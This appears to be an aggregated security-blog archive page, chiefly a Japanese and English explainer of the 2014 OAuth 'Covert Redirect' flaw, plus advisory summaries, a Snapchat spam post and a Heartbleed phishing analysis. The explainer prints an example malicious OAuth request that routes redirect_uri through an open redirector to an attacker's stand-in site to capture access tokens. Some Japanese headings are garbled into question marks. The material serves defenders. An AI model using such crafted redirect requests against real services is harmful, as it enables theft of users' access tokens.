Author Archives: Hacker Medic

Covert Redirect ? OAuth ????????? Heartbleed ????

Heartbleed 脆弱性をめぐる騒動が一段落したかと思う間もなく、今度は「Covert Redirect(隠しリダイレクト)」と呼ばれるセキュリティ上の欠陥が見つかり、その報告がメディアを賑わしています。なかには「第二の Heartbleed」と称している報道もあるほどですが、Covert Redirect が実際に Heartbleed ほど深刻かというと、そんなことはありません。

「第二の Heartbleed」という言い方は正しいか

いいえ。これは、サービスプロバイダによる OAuth の実装で発見されたセキュリティ上の欠陥です。

Covert Redirect が Heartbleed ほど深刻でないのはなぜか

Heartbleed は OpenSSL に存在する深刻な脆弱性です。OpenSSL は暗号プロトコル SSL と TLS のオープンソース実装であり、50 万以上もの Web サイトで使われています。Heartbleed 脆弱性は、パッチ未適用のサーバーに要求を送信するだけで悪用できてしまいますが、Covert Redirect の場合、攻撃者は影響を受けやすいアプリケーションを見つけたうえで、ユーザーからの応答と許可を得る必要があります。

Covert Redirect とは

Covert Redirect はセキュリティ上の欠陥であり、脆弱性ではありません。狙われるのは、オープンリダイレクトの影響を受けやすいサードパーティ製クライアントです。

たとえば、攻撃者は影響を受けやすいサイトのアプリケーションを使って、密かにサービスプロバイダの API に要求を送信し、redirect_uri パラメータを改ざんすることができます。改ざんされた悪質な redirect_uri パラメータは、認証に成功するとユーザーを悪質なサイトにリダイレクトします。

標準的な要求: [プロバイダ]/dialog/oauth?redirect_uri=[影響を受けやすいサイト]&scope=email&client_id=123&response_type=token

悪質な要求: [プロバイダ]/dialog/oauth?redirect_uri=[影響を受けやすいサイト]/redirectKeepParams?w=1dpoa&url=[攻撃者のサイト]&scope=email&client_id=123&response_type=token

悪質な要求では、承認されたアプリケーションではなく、攻撃者がユーザーのアクセストークンを受信します。

OAuth とは

OAuth は、Web、モバイル、デスクトップの各アプリケーションから安全な認可を取得できるオープンプロトコルです。[Facebook でログイン]ボタンなどで OAuth を使うと、OAuth が認可メカニズムとして機能し、サードパーティ製アプリケーションでユーザーアカウントへのアクセス権を取得できるようになります。

ユーザーにとってどのようなリスクがあるか

この欠陥を悪用するには、ユーザーからの応答が必要です。アクセストークンを侵害するには、影響を受けやすいアプリケーションに対する許可をユーザーから付与される必要があります。許可が付与されてようやく、攻撃者はユーザーアカウントデータを取得して、さらに悪質な目的に利用できるようになります。

アプリケーション開発者にはどのような影響があるか

Web サイトでオープンリダイレクトが使われている場合、攻撃者はそのアプリケーションを Covert Redirect の標的とする可能性があるので、Web サイトでオープンリダイレクトを停止する必要があります。サービスプロバイダ各社も、アプリケーション開発者が OAuth リダイレクト URL のホワイトリストを作成することを推奨しています。

次の手順は

Covert Redirect は注意すべきセキュリティ上の欠陥ですが、Heartbleed と同レベルというわけではありません。アクセスを許可するアプリケーションは慎重に判断すべきであり、Covert Redirect はそのことを再認識する格好のきっかけとなりました。

パッチの公開は期待できません。それぞれの実装を保護して Covert Redirect の欠陥に効果的に対処するかどうかはサービスプロバイダ次第です。

 

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。

2962393 – Update for Vulnerability in Juniper Networks Windows In-Box Junos Pulse Client – Version: 1.0

Revision Note: V1.0 (May 5, 2014): Advisory published.Summary: Microsoft is announcing the availability of an update for the Juniper Networks Windows In-Box Junos Pulse Client for Windows 8.1 and Windows RT 8.1. The update addresses a vulnerability in …

Update for Vulnerability in Juniper Networks Windows In-Box Junos Pulse Client – Version: 1.0

Severity Rating: Revision Note: V1.0 (May 5, 2014): Advisory published.Summary: Microsoft is announcing the availability of an update for the Juniper Networks Windows In-Box Junos Pulse Client for Windows 8.1 and Windows RT 8.1. The update addresses a …

Covert Redirect Flaw in OAuth is Not the Next Heartbleed

Coming off the heels of the Heartbleed bug, a new report on a security flaw called “Covert Redirect” is garnering a lot of media attention—so much that some outlets are referring to it as the next Heartbleed. But is Covert Redirect as bad as Heartbleed? Definitely not.
 

Is this the next Heartbleed?

No, it is not. This is a security flaw in the implementation of OAuth by service providers.
 

Why is Covert Redirect not as bad as Heartbleed?

Heartbleed is a serious vulnerability within OpenSSL, an open source implementation of the SSL and TLS cryptographic protocols used by over a half a million websites. The Heartbleed vulnerability could be exploited just by issuing requests to unpatched servers. Covert Redirect, however, requires an attacker to find a susceptible application as well as acquire interaction and permissions from users.
 

What is Covert Redirect?

Covert Redirect is a security flaw, not a vulnerability. It takes advantage of third-party clients susceptible to an open redirect.

For example, an attacker could covertly issue a request to Facebook’s API using ESPN’s Facebook app and modify the redirect_uri parameter. The new modified redirect_uri parameter maliciously redirects users after they have successfully authenticated.

Standard Request: facebook.com/dialog/oauth?redirect_uri=espn.go.com&scope=email&client_id=123&response_type=token

Malicious Request: facebook.com/dialog/oauth?redirect_uri=m.espn.go.com/wireless/mw/util/redirectKeepParams?w=1dpoa&url=badsite.com&scope=email&client_id=123&response_type=token

In the case of a malicious request, the attacker receives the user’s access token, instead of the approved application.
 

What is OAuth?

OAuth is an open protocol to allow secure authorization from web, mobile and desktop applications. When using OAuth—like a “Login with Facebook” button—OAuth is the authorizing mechanism and enables third-party applications to obtain access to user accounts.
 

What is the risk to users?

For this flaw to be exploited, it requires interaction from users. A user would have to grant permissions to a susceptible application in order for the access token to be compromised. An attacker may then obtain user account data which could be used for further malicious purposes.
 

What is the impact to application developers?

If there is an open redirect on your website, an attacker could target your application for Covert Redirect. It is important to lock down open redirects on your website.
 

What is the next step?

While Covert Redirect is a notable security flaw, it is not on the same level as Heartbleed. Covert Redirect serves as a reminder to be careful about what applications you grant access to.

Do not expect a patch—it is up to the service providers to secure their own implementations to effectively address the Covert Redirect flaw.

Introducing new access control features in Symantec Email & Web Security.cloud

Keeping email and web security services up and running is vital to businesses, and protecting the management of these services via a simple username and password is not enough for some organizations.
For those who desire additional security to further …

As Snapchat Adds Native Chat Functionality, Expect Spammers to Adapt

Earlier today, photo-messaging application Snapchat unveiled new features that enable users to chat directly within the application, a frequently requested feature. The addition of this feature, while an improvement, provides the individuals responsible for Snapchat spam a new feature to play with in their efforts to target users of the service.

History of Snapchat Spam

Chat Snapchat 1.png

Figure 1. Previous iterations of porn and dating spam on Snapchat

We have written numerous blogs about the rise of Snapchat spam over the last six months. The common thread in each of these spam campaigns was that they were all hindered by the lack of chat functionality. This roadblock presented a challenge to spammers, which led to a common workaround. Each of the spam “snap” messages sent to users featured a caption that asked them to manually perform one of the following actions:

  • Add an attractive girl on Kik messenger
  • Visit a website intended to push diet spam
  • Inform them that they won a gift card or prize that could only be redeemed at an external website

Chat Snapchat 2.png

Figure 2. Previous iterations of diet spam on Snapchat

The Future of Snapchat Spam

Now that the chat functionality is native to Snapchat, spammers can remain within the application itself and tailor their spam to work with this new functionality in mind. They can start building chat bots that communicate directly with Snapchat users or find new ways to trick users into clicking on links.

Restrictions on Sharing Links

Chat Snapchat 3.png

Figure 3. Comparison of sharing links through Snapchat’s “Chat” feature

While spammers can send links within chat messages, the way they appear to the recipient can vary. For messages from non-friends, the links cannot be clicked on. For messages from friends, the links are active and clickable.

Understand that spammers are determined and will find ways to adapt. For instance, a spam campaign could begin with an initial photo message of a scantily clad woman that offers “sexier pictures” if a user adds them as friends to ensure that their links would be clickable as the campaign continues.

Review your privacy settings

Now would be a good time to review your Snapchat privacy settings and make sure that only your friends can send you snaps. Please note that even if you restrict who is allowed to send you snaps, you can still receive friend requests from spammers.

We’re keeping an eye out for new spam campaigns using this new feature and we think you should too. Tweet us @threatintel if you come across new Snapchat spam.

Heartbleed ????????????????

      No Comments on Heartbleed ????????????????

寄稿: Binny Kuriakose

シマンテックは最近、Heartbleed 脆弱性に便乗したフィッシングメールを確認しました。このフィッシング攻撃は、米軍関係の保険サービスを装って Heartbleed 脆弱性に関するメッセージを送信し、情報を収集しようとします。

Heartbleed は最近発見されたセキュリティ脆弱性で、OpenSSL のバージョン1.0.1 から 1.0.1f に影響します。この脆弱性は OpenSSL 1.0.1g で修正済みです。脆弱性の詳細や対処方法については、シマンテックのセキュリティアドバイザリーを参照してください。

スパマーやフィッシング攻撃者は、最新のニュースや話題を利用してペイロードを偽装します。フィッシングメールでは多くの場合、セキュリティに関する懸念につけ込んで、ソーシャルエンジニアリングの手口を本物らしく見せようとします。電子メールに仕込まれたペイロードによって、受信者が機密情報を漏らすように仕向けるのです。

今回の場合、次のような電子メールが送られてきます。

 figure1_phish_0.png
図 1. Heartbleed 脆弱性に便乗したフィッシングメール

この例には、興味深い特徴がいくつかあります。

  • X-Mailer ヘッダーを見ると、送信者が使っている電子メールクライアントが非常に古いもの(Microsoft Outlook Express 6.00.2600.0000)だと分かります。多くのユーザーが依然として古い電子メールクライアントを使っていますが、最新のオンラインビジネスでそのような電子メールクライアントを使ってセキュリティに関する通知を送信することはほぼありません。
  • 「has initiate」という文法上の誤りがあります。攻撃者は、最新の話題をいち早く悪用して新しいフィッシング攻撃を実行しようと焦るため、文法の間違いを犯しがちです。また、送信者の母国語が英語ではないことも珍しくありません。
  • さらに、このフィッシングメールは有名な米軍関係の保険サービスからのセキュリティ警告と称しているにもかかわらず、掲載されている「ログイン」リンクをクリックすると、実際には危殆化したトルコの製造業社のサイトにアクセスします。

以上は、フィッシングメールの判断基準のすべてではありませんが、フィッシング攻撃にありがちな間違いや矛盾を示しています。

Heartbleed に関するアドバイザリーで詳しく説明しているように、個人情報の提供や更新を要求する電子メールには警戒するようにしてください。また、そのようなメッセージに含まれるパスワードリセットやソフトウェア更新のリンクは、決してクリックしないでください。個人情報の更新や変更が必要な場合は、該当する Web サイトに直接アクセスして実行することをお勧めします。

 

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。

Vulnerability in Internet Explorer Could Allow Remote Code Execution – Version: 2.0

Severity Rating: Revision Note: V2.0 (May 1, 2014): Advisory updated to reflect publication of security bulletin.Summary: Microsoft has completed the investigation into a public report of this vulnerability. We have issued MS14-021 to address this issu…

2963983 – Vulnerability in Internet Explorer Could Allow Remote Code Execution – Version: 2.0

Revision Note: V2.0 (May 1, 2014): Advisory updated to reflect publication of security bulletin.Summary: Microsoft has completed the investigation into a public report of this vulnerability. We have issued MS14-021 to address this issue. For more infor…